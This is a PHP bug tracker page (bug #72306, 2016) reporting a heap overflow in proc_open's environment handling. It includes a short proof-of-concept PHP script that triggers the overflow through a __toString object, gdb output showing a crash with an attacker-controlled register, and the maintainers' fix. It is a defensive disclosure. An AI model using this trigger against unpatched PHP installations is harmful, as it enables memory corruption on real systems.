php.net |  support |  documentation |  report a bug |  advanced search |  search howto |  statistics |  random bug |  login
Bug #72306 Heap overflow through proc_open and $env parameter
Submitted: 2016-05-31 17:39 UTC Modified: 2016-06-13 05:03 UTC
From: bugs at themadbat dot com Assigned:
Status: Closed Package: Reproducible crash
PHP Version: 5.6.22 OS:
Private report: No CVE-ID:
 [2016-05-31 17:39 UTC] bugs at themadbat dot com
Description:
------------
The bug is in ext\standard\proc_open.c in the `_php_array_to_envp` function. Tested in PHP 7.0.7 but 5.6.x seems vulnerable too (not sure when the bug was introduced).

This function basically iterates over each element of the $env array passed to proc_open(), and calculates the total size needed for a heap buffer to hold them. It does this by using zval_get_string() on each element.

Later on, after allocating the buffer, it iterates over the elements again, calls zval_get_string() on each again, and memcpy's them to the buffer.

The problem is of course that if the element is an object defining __toString(), zval_get_string() is not guaranteed to return a string of the same length for each invocation.

The fix would probably be to do the same that is done in other functions: only call zval_get_string() once for each element and re-use that result in the 2nd loop.

On my test environment this leads to a heap overflow and a SIGSEGV in zend_objects_destroy_object with a controlled register.

Test script:
---------------
<?php
class moo {
        function __construct() { $this->a = 0; }
        function __toString() { return $this->a++ ? str_repeat("a", 0x8000) : "a"; }
}

$env = array('some_option' => new moo());
$pipes = array();

$process = proc_open('nothing_here', array(), $pipes, NULL, $env);
?>

Expected result:
----------------
PHP SIGSEGVs. The exact crash location might depend on the PHP build. Adjusting the 0x8000 value in the test script could lead to different crashes.

Actual result:
--------------
Program received signal SIGSEGV, Segmentation fault.
zend_objects_destroy_object (object=0x7ffff1e5b618) at /php-7.0.7/Zend/zend_objects.c:90
90                      if (destructor->op_array.fn_flags & (ZEND_ACC_PRIVATE|ZEND_ACC_PROTECTED)) {
(gdb) info reg
rax            0x6161616161616161       7016996765293437281
rbx            0x7ffff1e5b618   140737251751448
rcx            0x13     19
rdx            0x1      1
rsi            0x7ffff1e03018   140737251389464
rdi            0x7ffff1e5b618   140737251751448
rbp            0x7ffff1e5b618   0x7ffff1e5b618
rsp            0x7fffffffcd80   0x7fffffffcd80
r8             0x6000   24576
r9             0x4000   16384
r10            0x7ffff7fcba50   140737353923152
r11            0x246    582
r12            0xf2f770 15923056
r13            0x107cb20        17287968
r14            0x0      0
r15            0xf33af0 15940336
rip            0x76087d 0x76087d <zend_objects_destroy_object+45>
eflags         0x10202  [ IF RF ]
cs             0x33     51
ss             0x2b     43
ds             0x0      0
es             0x0      0
fs             0x0      0
gs             0x0      0
(gdb) bt
#0  zend_objects_destroy_object (object=0x7ffff1e5b618) at /php-7.0.7/Zend/zend_objects.c:90
#1  0x0000000000764f31 in zend_objects_store_call_destructors (objects=objects@entry=0xf2f770 <executor_globals+816>) at /php-7.0.7/Zend/zend_objects_API.c:54
#2  0x000000000071dc93 in shutdown_destructors () at /php-7.0.7/Zend/zend_execute_API.c:242
#3  0x000000000072c914 in zend_call_destructors () at /php-7.0.7/Zend/zend.c:952
#4  0x00000000006cfaa5 in php_request_shutdown (dummy=dummy@entry=0x0) at /php-7.0.7/main/main.c:1780
#5  0x00000000007b328a in do_cli (argc=4, argv=0xf33a50) at /php-7.0.7/sapi/cli/php_cli.c:1141
#6  0x0000000000432000 in main (argc=4, argv=0xf33a50) at /php-7.0.7/sapi/cli/php_cli.c:1344

Patches

Add a Patch

Pull Requests

Add a Pull Request

History

AllCommentsChangesGit/SVN commitsRelated reports
 [2016-06-13 05:03 UTC] stas@php.net
-Type: Security +Type: Bug
 [2016-06-13 05:03 UTC] stas@php.net
Does not look like a security issue - you need special code to cause it.
 [2016-06-13 13:08 UTC] laruence@php.net
Automatic comment on behalf of laruence@gmail.com
Revision: http://git.php.net/?p=php-src.git;a=commit;h=d1ab974f0bfb202d9a49a6cc152293b4d013ef46
Log: Fixed bug #72306 (Heap overflow through proc_open and $env parameter)
 [2016-06-13 13:08 UTC] laruence@php.net
-Status: Open +Status: Closed
 [2016-06-22 05:58 UTC] krakjoe@php.net
Automatic comment on behalf of laruence@gmail.com
Revision: http://git.php.net/?p=php-src.git;a=commit;h=d1ab974f0bfb202d9a49a6cc152293b4d013ef46
Log: Fixed bug #72306 (Heap overflow through proc_open and $env parameter)
 [2016-07-20 11:30 UTC] davey@php.net
Automatic comment on behalf of laruence@gmail.com
Revision: http://git.php.net/?p=php-src.git;a=commit;h=d1ab974f0bfb202d9a49a6cc152293b4d013ef46
Log: Fixed bug #72306 (Heap overflow through proc_open and $env parameter)
 
PHP Copyright © 2001-2017 The PHP Group
All rights reserved.
Last updated: Fri Apr 28 23:01:35 2017 UTC